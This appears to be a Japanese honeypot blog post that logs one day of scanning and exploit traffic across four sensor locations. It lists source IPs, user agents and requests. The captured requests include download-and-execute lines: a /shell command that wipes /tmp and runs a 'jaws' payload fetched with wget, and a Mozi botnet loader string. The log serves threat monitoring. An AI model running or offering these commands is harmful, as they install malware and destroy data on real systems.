2022/09/26 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/26分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

Location:US

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
WordPressへのスキャン行為
112.124.42.80に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

Location:UK

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 103.159.64.218/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

Location:SG

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
112.124.42.80に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：125 (前日比：63)
US：総アクセス数：112 (前日比：-70)
UK：総アクセス数：85 (前日比：18)
SG：総アクセス数：71 (前日比：2)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.136.214.123	Spain
1	3.129.18.157	United States
3	38.242.128.76	United States
3	42.192.64.83	China
4	43.143.49.112	China
3	49.232.159.25	China
2	52.237.119.84	United States
4	71.6.158.166	United States
1	89.179.126.151	Russia
4	94.102.49.193	United Kingdom
5	95.214.235.205	Ukraine
4	106.55.34.148	China
3	118.126.82.157	China
8	135.125.246.110	France
25	139.59.81.58	Singapore
1	141.98.6.162	Bulgaria
1	161.35.213.88	United States
4	161.97.174.99	Germany
36	167.71.201.206	United States
5	173.44.40.53	United States
1	185.216.71.242	Bulgaria
2	185.254.196.115	Ukraine
1	192.241.208.34	United States
1	193.118.53.210	United States
1	198.235.24.150	United States
1	219.157.55.247	China

UserAgent一覧

件数	UserAgent
46	`-`
7	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
5	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
6	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
35	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
17	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`python-requests/2.21.0`
1	`python-requests/2.27.1`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_18.179.20.5_80\n`
22		`\x16\x03\x01`
1		`\x19.\xc6\x1b\x01p\x9d\x01/\xe2\xf3\xba5\xa16\xcc+&]\x8e\v\x02\x1f\x8e\xb1\x8e\xde%\x07\x02\x1f\x8e\n`
1		`\x9a_n(\\\x80\xe3=AS)kGC\xdb\x0c\n`
1		`\xbfb\xcb)(\xb0\x96'mt\x978\\\x11\xd2\x16\x80wg\xa4\xa0S%\xa4\x1a\xdf\xe4\x0f\xacS%\xa4\xa1Wg\xa4\xa0S&\xac\xa0S%\xa4\xa0S%\xa4\n`
1		`b\xf0\x7f\xf2\x02\x14\x90\x07.\xc1[\x88$zL148\n`
1	CONNECT	`mkzaim[.]ru:443`	HTTP/1.1
2	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
19	GET	`/.env`	HTTP/1.1
5	GET	`/.git/config`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/config.json`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/demo/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/.env`	HTTP/1.1
1	GET	`/ec2-18-179-20-5.ap-northeast-1.compute.amazonaws.com/api/.env`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
3	GET	`/metrics`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
2	GET	`/phpmyadmin/index.php`	HTTP/1.1
2	GET	`/phpmyadmin4.8.5/index.php`	HTTP/1.1
2	GET	`/pmd/index.php`	HTTP/1.1
1	GET	`/prod/.env`	HTTP/1.1
1	GET	`/production/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/website/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
2	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/debug.cgi`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.92.230.228	United States
1	34.89.116.57	United States
2	34.221.24.226	United States
1	36.110.211.3	China
1	36.110.214.194	China
2	38.242.128.76	United States
4	40.67.136.28	United States
20	54.37.79.75	France
1	60.191.125.35	China
2	88.214.43.215	Turkey
1	103.153.78.248	Vietnam
2	109.228.37.63	United Kingdom
1	112.31.139.41	China
1	120.86.255.190	China
1	128.14.134.170	United States
4	143.198.122.137	United States
2	152.89.196.211	Russia
2	162.142.125.9	United States
57	163.123.142.153	United States
1	180.76.139.223	China
4	183.136.225.35	China
1	197.42.17.83	Egypt

UserAgent一覧

件数	UserAgent
7	`-`
2	`Go-http-client/1.1`
1	`Hello, world`
3	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
5	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
57	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Wget/1.21`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01H\x01`
4		`\x16\x03\x01`
28	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/db/scripts/setup.php`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/metrics`	HTTP/1.1
1	GET	`/mysql/scripts/setup.php`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`/xmlrpc.php`	HTTP/1.1
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
57	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/editBlackAndWhiteList`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	23.224.186.78	United States
1	23.251.102.74	United States
1	36.110.214.194	China
1	51.12.52.122	United Kingdom
1	51.250.14.75	Russia
1	64.62.197.194	United States
2	78.142.18.92	Bulgaria
1	79.110.62.189	Bulgaria
2	88.214.43.215	Turkey
4	101.35.161.133	China
4	101.43.55.216	China
1	103.167.85.224	Vietnam
1	115.63.249.155	China
3	118.126.82.157	China
1	121.149.35.214	South Korea
1	123.172.79.29	China
15	134.209.150.222	United States
18	139.59.83.146	Singapore
2	152.89.196.211	Russia
1	156.216.169.24	Egypt
1	172.105.89.161	United States
1	180.76.139.223	China
4	185.142.236.40	Seychelles
1	185.216.71.242	Bulgaria
1	192.241.199.201	United States
1	193.46.255.199	Romania
2	193.56.29.120	United Kingdom
2	194.165.16.72	Panama
1	197.32.53.207	Egypt
4	203.76.241.10	China
1	205.185.121.69	United States
1	205.210.31.14	United States

UserAgent一覧

件数	UserAgent
60	`-`
5	`Go-http-client/1.1`
1	`Hello, World`
4	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Wget/1.21`
2	`python-requests/2.21.0`
1	`xfa1,nvdorz`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
33		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1		`e\xf2\xbd\xd9\x03\xc7\xf2q*!\xa3\x83\x1eZO\xd3W\xa2\xcf\xcfw\x86\x8d\xcf\xcd\n`
1		`t\xc7\xab@v\xfe\xca.\x18\xd9\xb4r\x1f2l\x1e&\xb2\xa5\xca\x06\x96\xe7\xca\xbc\x1a&a\n`
2	CONNECT	`google[.]com:443`	HTTP/1.1
3	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.0
1	GET	`/db/scripts/setup.php`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+103[.]159[.]64[.]218/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	HEAD	`/robots.txt`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/debug.cgi`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.163.106.181	United States
1	20.232.142.106	United States
4	23.225.180.200	United States
1	34.148.24.144	United States
1	36.37.140.93	Cambodia
1	37.120.233.178	Romania
15	51.79.29.48	Canada
5	54.37.79.75	France
1	60.191.125.35	China
1	64.20.63.126	United States
1	64.62.197.146	United States
1	81.161.229.46	Bulgaria
1	128.14.141.34	United States
2	152.89.196.211	Russia
2	156.215.181.191	Egypt
1	159.65.52.175	United States
2	162.142.125.213	United States
2	162.142.125.219	United States
2	167.248.133.62	United States
1	168.63.106.84	United States
1	172.105.89.161	United States
17	178.62.7.249	United States
1	182.126.81.197	China
1	192.241.212.128	United States
1	197.58.165.58	Egypt
1	198.12.127.234	United States
1	198.235.24.18	United States
1	205.210.31.23	United States
1	209.141.41.193	United States

UserAgent一覧

件数	UserAgent
12	`-`
18	`Go-http-client/1.1`
3	`Hello, world`
2	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`HELP`
1		`MGLNDD_13.67.44.234_80`
4		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	GET	`/.DS_Store`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?rest_route=/wp/v2/users/`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/about`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/api/search?folderIds=0`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/game/zhuce/index.php?`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/login.action`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s/31332e36372e34342e323334/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/v2/_catalog`	HTTP/1.1
1	GET	`/wp-admin/install.php?step=1`	HTTP/1.1
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
3	PRI	`*`	HTTP/2.0